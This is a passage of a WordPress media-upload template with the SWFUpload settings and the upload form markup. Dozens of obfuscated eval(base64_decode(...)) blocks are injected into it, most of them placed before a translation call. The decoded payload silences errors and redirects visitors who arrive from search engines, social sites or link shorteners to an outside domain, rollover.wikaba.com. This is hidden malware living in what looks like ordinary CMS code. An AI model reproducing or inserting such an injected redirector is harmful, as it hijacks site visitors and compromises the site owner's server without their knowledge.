			file_queued_handler : fileQueued,
			upload_start_handler : uploadStart,
			upload_progress_handler : uploadProgress,
			upload_error_handler : uploadError,
			upload_success_handler : uploadSuccess,
			upload_complete_handler : uploadComplete,
			file_queue_error_handler : fileQueueError,
			file_dialog_complete_handler : fileDialogComplete,
			swfupload_pre_load_handler: swfuploadPreLoad,
			swfupload_load_failed_handler: swfuploadLoadFailed,
			custom_settings : {
				degraded_element_id : "html-upload-ui", // id of the element displayed when swfupload is unavailable
				swfupload_element_id : "flash-upload-ui" // id of the element displayed when swfupload is available
			},
			debug: false
		};
		swfu = new SWFUpload(settings);
};
//]]>
</script>

<div id="flash-upload-ui">
<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        do_action('pre-flash-upload-ui');
        ?>

	<div>
	<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('Choose files to upload');
        ?>
	<div id="flash-browse-button"></div>
	<span><input id="cancel-upload" disabled="disabled" onclick="cancelUpload()" type="button" value="<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        esc_attr_e('Cancel Upload');
        ?>
" class="button" /></span>
	</div>
<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        do_action('post-flash-upload-ui');
        ?>
	<p class="howto"><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cG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oZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('After a file has been uploaded, you can add titles and descriptions.');
        ?>
</p>
</div>
<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlci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pIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    do_action('pre-html-upload-ui');
    ?>
	<p id="async-upload-wrap">
	<label class="screen-reader-text" for="async-upload"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Upload');
    ?>
</label>
	<input type="file" name="async-upload" id="async-upload" /> <input type="submit" class="button" name="html-upload" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    esc_attr_e('Upload');
    ?>
" /> <a href="#" onclick="try{top.tb_remove();}catch(e){}; return false;"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSR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JcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('If you want to use all capabilities of the uploader, like uploading multiple files at once, please upgrade to lighttpd 1.5.');
        ?>
</p>
	<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVnd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